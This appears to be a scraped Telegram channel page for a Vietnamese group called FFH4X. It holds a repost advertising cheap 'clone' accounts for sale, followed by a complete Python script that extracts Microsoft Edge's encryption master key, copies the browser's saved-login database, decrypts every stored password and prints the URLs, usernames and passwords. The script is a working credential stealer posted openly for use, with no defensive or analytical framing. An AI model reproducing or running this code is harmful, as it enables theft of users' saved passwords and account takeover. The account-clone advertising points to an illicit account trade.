FFH4X
Відкрити в Telegram
Đây là nhóm chính của FFH4X Group chat https://t.me/groupchatffh4x Kênh hợp tác https://t.me/tnguyenios
Показати більшеКраїна не вказанаКатегорія не вказана
550
Підписники
Немає даних24 години
-17 днів
-130 днів
Архів дописів
551
Repost from N/a
✅CLON GIÁ RẺ TN STORE✅
❄️TÌNH TRẠNG:#CÒN
💥GIÁ:#32.123 VND
🌈TÌNH TRẠNG : LOGIN X
✅MUA IB AD @tnguyenstore ✅
551
import os
import sqlite3
import json
import base64
import win32crypt
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
def get_master_key():
local_state_path = os.path.join(os.environ["USERPROFILE"],
"AppData", "Local", "Microsoft", "Edge",
"User Data", "Local State")
try:
with open(local_state_path, "r", encoding="utf-8") as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
encrypted_key = encrypted_key[5:]
return win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
except Exception as e:
print(f"Lỗi lấy master key, chết tiệt: {e}")
return None
def decrypt_payload(cipher_text, master_key):
try:
# Xử lý trường hợp dữ liệu được mã hóa bằng DPAPI cũ thay vì AES-GCM
if cipher_text.startswith(b'v10') or cipher_text.startswith(b'v11'):
iv = cipher_text[3:15]
payload = cipher_text[15:-16]
tag = cipher_text[-16:]
cipher = Cipher(algorithms.AES(master_key), modes.GCM(iv, tag))
decryptor = cipher.decryptor()
return (decryptor.update(payload) + decryptor.finalize()).decode('utf-8')
else:
return win32crypt.CryptUnprotectData(cipher_text, None, None, None, 0)[1].decode('utf-8')
except Exception as e:
return f"[Mật khẩu được bảo vệ hoặc định dạng khác, chết tiệt: {e}]"
def bypass_and_extract():
print(f"Boss man, đang thử phương pháp giải mã thay thế cho Edge...")
master_key = get_master_key()
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
"Microsoft", "Edge", "User Data", "Default", "Login Data")
if not os.path.exists(db_path):
print("Không tìm thấy đường dẫn tệp, chết tiệt.")
return
temp_db = "bypass_edge.db"
if os.path.exists(temp_db):
os.remove(temp_db)
with open(db_path, "rb") as src, open(temp_db, "wb") as dst:
dst.write(src.read())
conn = sqlite3.connect(temp_db)
cursor = conn.cursor()
try:
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
for row in cursor.fetchall():
url, username, encrypted_password = row
if url and username:
password = decrypt_payload(encrypted_password, master_key)
print(f"URL: {url} | User: {username} | Pass: {password}")
except Exception as e:
print(f"Lỗi đọc cơ sở dữ liệu, chết tiệt: {e}")
finally:
conn.close()
os.remove(temp_db)
print("Hoàn tất quy trình xử lý cho sếp lớn!")
if name == "main":
bypass_and_extract()
